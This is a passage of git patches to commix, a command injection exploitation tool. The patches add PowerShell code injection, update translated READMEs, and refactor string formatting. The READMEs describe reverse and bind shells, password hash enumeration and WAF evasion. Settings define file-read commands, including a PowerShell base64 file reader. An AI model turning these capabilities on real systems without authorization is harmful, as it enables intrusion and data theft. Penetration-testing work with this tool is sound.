Χαρακτηριστικά * **Πέντε τεχνικές injection** – results-based (classic), boolean-based (blind, με την απάντηση να διαβάζεται από τη σελίδα), time-based (blind), file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής) και out-of-band (OAST) μέσω HTTP/S και DNS. Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. -* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP ή Python, χρησιμοποιώντας τις ίδιες τέσσερις τεχνικές. +* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP, Python, Ruby ή JavaScript, χρησιμοποιώντας τις ίδιες πέντε τεχνικές. * **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. * **Interactive shells και post-exploitation** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, `download`/`upload` αρχείων μέσω του established shell, καθώς και enumeration για current user, hostname, privileges, system information, users και password hashes. Κάθε εύρημα μπορεί να επαληθευτεί εκ νέου με το `--proof`, το οποίο εκτελεί δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. * **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 24431d2a41..1a791d11f8 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -35,7 +35,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur * **Lima teknik injeksi** - results-based (classic), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. Dipilih dengan `--technique`, atau berdasarkan tipe yang mereka laporkan dengan `--type`. -* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP atau Python, dengan empat teknik yang sama. +* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, atau JavaScript, dengan lima teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 9a7a7c7c1e..4a566cc862 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -35,7 +35,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler * **Beş enjeksiyon tekniği** - results-based (classic), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir. -* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP veya Python olarak, aynı dört teknikle sınar. +* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP, Python, Ruby veya JavaScript olarak, aynı beş teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. diff --git a/src/utils/settings.py b/src/utils/settings.py index 6e9213305e..742942cf70 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "186" +REVISION = "187" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 01a7405eff9820266ad3b72f04e35c66fd20167f Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 4 Oct 2026 09:39:22 +0300 Subject: [PATCH 0859/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 4 ++-- src/core/controller/controller.py | 4 ++-- src/core/controller/proof.py | 22 +++++++++++----------- src/core/parse/cmdline.py | 3 ++- src/core/requests/chunked.py | 2 +- src/core/requests/parameters.py | 4 ++-- src/utils/crawler.py | 2 +- src/utils/progress.py | 9 +++++---- src/utils/settings.py | 6 +++--- 9 files changed, 29 insertions(+), 27 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 43934310f5..d7de5fbf53 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -142,7 +142,7 @@ def injection_techniques_status(): Check for quoted values """ def quoted_value(value): - return '"{}"'.format(value) + return '"' + value + '"' """ Payload fixation @@ -4955,7 +4955,7 @@ def shell_transfer_args(cmd, usage): """ def download_file_bytes(execute_cmd, remote_file): if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_FILE_READ_B64.format(remote_file.replace("\\", "\\\\")) + cmd = settings.WIN_FILE_READ_B64 + remote_file.replace("\\", "\\\\") + "'))\"" else: cmd = settings.FILE_READ_B64 + quoted_cmd(remote_file) encoded = execute_cmd(cmd) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 1aa54e47fa..164e689411 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1683,11 +1683,11 @@ def do_check(url, http_request_method, filename): percent = checks.page_text_percent(settings.ORIGINAL_PAGE) if settings.DYNAMIC_MARKINGS: err_msg += " You can give it a go with the switch '--text-only', where the target page" - err_msg += " has a low percentage of textual content (~" + ("%.2f" % percent) + err_msg += " has a low percentage of textual content (~" + str(round(percent, 2)) err_msg += "% of page content is text)." elif percent < settings.LOW_TEXT_PERCENT: err_msg += " Please retry with the switch '--text-only', as this case looks like a" - err_msg += " candidate for it: a low percentage of textual content (~" + ("%.2f" % percent) + err_msg += " candidate for it: a low percentage of textual content (~" + str(round(percent, 2)) err_msg += "% of page content is text), together with no parameter found to be dynamic." if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index 4b708ecd9c..4f6f0f0991 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -89,9 +89,9 @@ def _evasion(): lines.append("statuses a protection returns, seen during the run: " + ", ".join(str(_) for _ in blocked)) if settings.ADAPTIVE_DELAY: - lines.append("requests were spaced out by %.1fs after the target asked for it" % settings.ADAPTIVE_DELAY) + lines.append("requests were spaced out by " + str(round(settings.ADAPTIVE_DELAY, 1)) + "s after the target asked for it") elif menu.options.delay: - lines.append("requests were delayed by %.2fs each" % float(menu.options.delay)) + lines.append("requests were delayed by " + str(round(float(menu.options.delay), 2)) + "s each") return lines """ @@ -101,8 +101,8 @@ def _evasion(): def _cost(started, elapsed): sent = settings.TOTAL_OF_REQUESTS - started if sent > 0: - return "spent: %d request%s, %.2fs" % (sent, "s"[sent == 1:], elapsed) - return "spent: %.2fs" % elapsed + return "spent: " + str(sent) + " request" + "s"[sent == 1:] + ", " + str(round(elapsed, 2)) + "s" + return "spent: " + str(round(elapsed, 2)) + "s" """ Ask the target to work out something nobody could have written down in advance, and show what came @@ -128,7 +128,7 @@ def _challenge(execute_cmd, technique): answer = "".join(str(_) for _ in answer) if answer else "" carried = expected in answer - lines = ["The target must work out %d + %d = %s, drawn at random after the scan started." % (first, second, expected), + lines = ["The target must work out " + str(first) + " + " + str(second) + " = " + expected + ", drawn at random after the scan started.", "(the product is in no page, cache or reflection - only something that executes could return it.)", "sent: " + cmd, "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"), @@ -194,11 +194,11 @@ def _ask(target_value): # The product must be the one that delays, and the product plus one must not - the pair is what # rules out a target that is simply slow. carried = checks.time_related_shell(true_took, base) and not checks.time_related_shell(false_took, base) - lines = ["The target must work out %d + %d and answer whether it is %d, drawn at random after the scan started." - % (first, second, expected), + lines = ["The target must work out " + str(first) + " + " + str(second) + " and answer whether it is " + + str(expected) + ", drawn at random after the scan started.", "(the delay is the answer: held back where the product matches, returned at once where it does not.)", - "matches: %.2fs" % true_took, - "does not: %.2fs" % false_took, + "matches: " + str(round(true_took, 2)) + "s", + "does not: " + str(round(false_took, 2)) + "s", "(one request each, timed the way every other request in the run is.)", _cost(started, elapsed)] return carried, lines @@ -210,7 +210,7 @@ def _control_timing(): if not settings.RESPONSE_TIMES: return [] average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) - return ["unmodified request: %.3fs on average over %d samples." % (average, len(settings.RESPONSE_TIMES))] + return ["unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples."] """ The control that rules out coincidence: the answer must not already be somewhere the run could have @@ -224,7 +224,7 @@ def _control(expected): else "The answer is already there, in the unmodified page. (NOT CONFIRMED)") if settings.RESPONSE_TIMES: average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) - lines.append("unmodified request: %.3fs on average over %d samples." % (average, len(settings.RESPONSE_TIMES))) + lines.append("unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples.") return lines """ diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index db67759465..0ea0086844 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1104,7 +1104,8 @@ def banner(): def truncate_option_strings(self, *args): formatted = parser.formatter._format_option_strings(*args) if len(formatted) > settings.MAX_OPTION_LENGTH: - formatted = ("%%.%ds.." % (settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment)) % formatted + limit = settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment + formatted = formatted[:limit] + ".." return formatted parser.formatter._format_option_strings = parser.formatter.format_option_strings diff --git a/src/core/requests/chunked.py b/src/core/requests/chunked.py index 7a2e326e98..6deaa7c4d8 100644 --- a/src/core/requests/chunked.py +++ b/src/core/requests/chunked.py @@ -50,7 +50,7 @@ def split_post_data(data): # The extension is ignored by the target, but it is one more thing an inspecting device must parse. extension = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(5)) - chunked_data.append("%x;%s%s" % (chunk_size, extension, settings.END_LINE.CRLF)) + chunked_data.append(hex(chunk_size)[2:] + ";" + extension + settings.END_LINE.CRLF) chunked_data.append(candidate + settings.END_LINE.CRLF) chunked_data.append("0" + settings.END_LINE.CRLF + settings.END_LINE.CRLF) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 832240bf01..baa785ca25 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -99,7 +99,7 @@ def shield_xml_leaves(text): # Set a matched span aside behind a placeholder, so nothing rewrites it. def _shield(m): shielded.append(m.group(0)) - return "<\x00SHIELD%d\x00>" % (len(shielded) - 1) + return "<\x00SHIELD" + str(len(shielded) - 1) + "\x00>" shielded_text = re.sub(r"<(\w[\w:.\-]*)((?:\s+[^<>]*)?)>((?:[^<]|<!\[CDATA\[.*?\]\]>)*)</\1>", _shield, text, flags=re.S) return shielded_text, shielded @@ -111,7 +111,7 @@ def restore_xml_shields(text_or_list, shielded): # Put the set-aside spans back where their placeholders are. def _restore_one(s): for index, value in enumerate(shielded): - s = s.replace("<\x00SHIELD%d\x00>" % index, value) + s = s.replace("<\x00SHIELD" + str(index) + "\x00>", value) return s if isinstance(text_or_list, list): return [_restore_one(s) for s in text_or_list] diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 82de98f6eb..e8d25694d5 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -302,7 +302,7 @@ def do_process(url, http_request_method): content = checks.process_page_content(response, action="decode") match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: - content = "<html>%s</html>" % match.group(1) + content = "<html>" + match.group(1) + "</html>" soup = BeautifulSoup(content) tags = soup('a') if not tags: diff --git a/src/utils/progress.py b/src/utils/progress.py index 91b6a19de3..1f87491ba9 100644 --- a/src/utils/progress.py +++ b/src/utils/progress.py @@ -39,14 +39,15 @@ def __init__(self, maxvalue=10, width=None): # Seconds as the minutes and seconds they are shown in. def _as_clock(self, value): minutes = int(value) // 60 - return "%.2d:%.2d" % (minutes, int(value) - (minutes * 60)) + seconds = int(value) - (minutes * 60) + return str(minutes).zfill(2) + ":" + str(seconds).zfill(2) # Redraw the bar itself, for what has been retrieved so far. def update(self, amount=0): self._amount = min(max(amount, self._min), self._max) done = float(self._amount - self._min) percent = min(100, int(round((done / float(self._span)) * 100.0))) - room = max(1, self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max))) + room = max(1, self._width - len("100% [] " + str(self._max) + "/" + str(self._max) + " (ETA 00:00)")) hashes = int(round((percent / 100.0) * room)) if hashes == 0: self._bar = "[>" + (" " * (room - 1)) + "]" @@ -88,8 +89,8 @@ def tick(self): def draw(self, eta=None): if not is_tty(): return - settings.print_data_to_stdout("\r%s %d/%d (ETA %s)" % (self._bar, self._amount, self._max, - self._as_clock(eta) if eta is not None else "??:??")) + settings.print_data_to_stdout("\r" + str(self._bar) + " " + str(self._amount) + "/" + str(self._max) + + " (ETA " + (self._as_clock(eta) if eta is not None else "??:??") + ")") if self._amount >= self._max: settings.print_data_to_stdout("\r" + (" " * self._width) + "\r") # Wiped rather than ended, so what follows starts on this line instead of below a blank one. diff --git a/src/utils/settings.py b/src/utils/settings.py index 742942cf70..704f07054e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -46,7 +46,7 @@ def sys_argv_checks(): if tamper_index is None: tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) else: - sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) + sys.argv[tamper_index] = sys.argv[tamper_index] + "," + (sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) sys.argv[i] = "" # argv checks @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "187" +REVISION = "188" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -991,7 +991,7 @@ def single_whitespace_for(data=None): FILE_READ = "cat " # Used by "download", so the file's exact bytes survive. FILE_READ_B64 = "base64 <" -WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('{}'))\"" +WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('" FILE_WRITE_OPERATOR = " >" FILE_APPEND_OPERATOR = " >>" WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content " From 23c249bc56ae509ffc905104678a4d12e1e68c36 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 4 Oct 2026 09:40:43 +0300 Subject: [PATCH 0860/1023] Added support for PowerShell code injection through the `--eval=powershell` language. --- README.md | 2 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/core/eval/__init__.py | 4 +- src/core/eval/grammars/javascript.py | 3 + src/core/eval/grammars/php.py | 3 + src/core/eval/grammars/powershell.py | 200 +++++++++++++++++++++++ src/core/eval/grammars/python.py | 3 + src/core/eval/grammars/ruby.py | 3 + src/core/eval/payloads/boolean_based.py | 14 +- src/core/eval/payloads/tempfile_based.py | 21 +-- src/core/eval/payloads/time_based.py | 15 +- src/utils/settings.py | 6 +- 18 files changed, 246 insertions(+), 41 deletions(-) create mode 100644 src/core/eval/grammars/powershell.py diff --git a/README.md b/README.md index 8b8033db13..20a6c413f0 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features * **Five injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. -* **Code injection** - `--eval` tests the string a target evaluates as code, in PHP, Python, Ruby or JavaScript, over the same five techniques. +* **Code injection** - `--eval` tests the string a target evaluates as code, in PHP, Python, Ruby, JavaScript or PowerShell, over the same five techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9785cf7d35..ad104819a1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Support for PowerShell code injection through the `--eval=powershell` language. * Added: Support for Node code injection through the `--eval=javascript` language. * Added: Support for Ruby code injection through the `--eval=ruby` language. * Added: New option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 98e9b9c59b..13727bdd02 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -35,7 +35,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características * **Cinco técnicas de inyección** - results-based (classic), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. Se eligen con `--technique`, o según el tipo con el que se informan con `--type`. -* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP, Python, Ruby o JavaScript, con las mismas cinco técnicas. +* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript o PowerShell, con las mismas cinco técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 972008ee02..e4b8ebe48e 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -34,7 +34,7 @@ ## ویژگی‌ها * **پنج تکنیک تزریق** - results-based (classic)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. با `--technique` انتخاب می‌شوند، یا بر پایه نوعی که با `--type` گزارش می‌کنند. -* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby یا JavaScript و با همان پنج تکنیک آزمایش می‌کند. +* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript یا PowerShell و با همان پنج تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 40a0a1d878..f1e076c067 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -35,7 +35,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités * **Cinq techniques d'injection** - results-based (classic), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. Choisies avec `--technique`, ou selon le type sous lequel elles sont rapportées avec `--type`. -* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP, Python, Ruby ou JavaScript, avec les cinq mêmes techniques. +* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript ou PowerShell, avec les cinq mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 32fa027d20..f95153ec7a 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -34,7 +34,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά * **Πέντε τεχνικές injection** – results-based (classic), boolean-based (blind, με την απάντηση να διαβάζεται από τη σελίδα), time-based (blind), file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής) και out-of-band (OAST) μέσω HTTP/S και DNS. Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. -* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP, Python, Ruby ή JavaScript, χρησιμοποιώντας τις ίδιες πέντε τεχνικές. +* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript ή PowerShell, χρησιμοποιώντας τις ίδιες πέντε τεχνικές. * **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. * **Interactive shells και post-exploitation** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, `download`/`upload` αρχείων μέσω του established shell, καθώς και enumeration για current user, hostname, privileges, system information, users και password hashes. Κάθε εύρημα μπορεί να επαληθευτεί εκ νέου με το `--proof`, το οποίο εκτελεί δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. * **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 1a791d11f8..ae7328c4ba 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -35,7 +35,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur * **Lima teknik injeksi** - results-based (classic), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. Dipilih dengan `--technique`, atau berdasarkan tipe yang mereka laporkan dengan `--type`. -* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, atau JavaScript, dengan lima teknik yang sama. +* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, atau PowerShell, dengan lima teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 4a566cc862..0275f4abd4 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -35,7 +35,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler * **Beş enjeksiyon tekniği** - results-based (classic), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir. -* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP, Python, Ruby veya JavaScript olarak, aynı beş teknikle sınar. +* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP, Python, Ruby, JavaScript veya PowerShell olarak, aynı beş teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index 4c4a8388d9..95f16de5c1 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -24,8 +24,10 @@ from src.core.eval.grammars import python from src.core.eval.grammars import ruby from src.core.eval.grammars import javascript +from src.core.eval.grammars import powershell -LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript} +LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript, + powershell.NAME: powershell} """ The languages that can be named with '--eval'. diff --git a/src/core/eval/grammars/javascript.py b/src/core/eval/grammars/javascript.py index e35289fa69..c9ed7c4869 100644 --- a/src/core/eval/grammars/javascript.py +++ b/src/core/eval/grammars/javascript.py @@ -172,6 +172,9 @@ def halt(condition): def sequence(first, second): return "(" + first + "," + second + ")" +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": 